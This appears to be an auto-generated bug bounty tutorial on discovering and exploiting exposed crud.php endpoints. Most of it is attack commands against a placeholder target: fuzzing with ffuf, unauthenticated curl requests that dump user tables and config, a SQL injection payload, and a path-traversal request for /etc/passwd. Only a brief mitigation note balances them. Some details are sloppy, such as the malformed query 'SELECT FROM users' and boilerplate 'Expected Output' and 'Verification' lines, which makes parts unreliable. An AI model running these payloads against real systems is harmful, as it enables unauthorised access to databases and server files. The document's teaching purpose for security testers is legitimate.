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When conducting bug bounty reconnaissance, adding `/crud.php` to your wordlist can reveal critical information disclosure vulnerabilities. This file, often left exposed, may leak sensitive data such as database credentials, API keys, or internal system details.
How to Exploit crud.php
1. Discovering crud.php
Use tools like dirsearch, gobuster, or `ffuf` to scan for exposed `crud.php` files:
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt -mc 200
Include `/crud.php` in your custom wordlist.
2. Analyzing the Response
If found, inspect the response for:
- Database connection strings
- Debug information
- Unauthenticated admin functions
3. Exploiting Exposed CRUD Operations
If the file allows Create, Read, Update, or Delete operations without authentication, test for:
curl -X POST -d "action=read&table=users" https://target.com/crud.php
Modify `table` parameter to extract sensitive data.
You Should Know:
Manual Testing with cURL
curl -v "https://example.com/crud.php?action=list_users"
Check for JSON/XML responses containing user data.
Automating with Python
import requests
url = "https://target.com/crud.php"
params = {"action": "dump_config"}
response = requests.get(url, params=params)
print(response.text)
Modify parameters to probe different functionalities.
SQL Injection via crud.php
If the file interacts with a database, test for SQLi:
curl "https://target.com/crud.php?id=1' OR 1=1-- -"
Look for error messages or unexpected data returns.
Exploiting File Inclusion
If `crud.php` includes local files, try:
curl "https://target.com/crud.php?file=../../etc/passwd"
Check for server file leaks.
Mitigation for Developers
- Restrict access via
.htaccess:<Files "crud.php"> Require valid-user </Files>
- Disable debug mode in production.
What Undercode Say
Exposed `crud.php` files are a goldmine for bug hunters. Always fuzz for unconventional endpoints, test for insecure direct object references (IDOR), and automate scans with tools like `Burp Suite` or Nikto. Remember:
nikto -h https://target.com -Tuning 5
For deeper exploitation, chain vulnerabilities—like combining `crud.php` leaks with SSRF or RCE.
Expected Output:
- Vulnerable URL: `https://target.com/crud.php`
- Exploit Payloads:
curl -X POST "https://target.com/crud.php" -d "query=SELECT FROM users"
- YouTube Tutorial: Bug Bounty & Ethical Hacking
Keep hacking responsibly!
References:
Reported By: Faiyaz Ahmad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
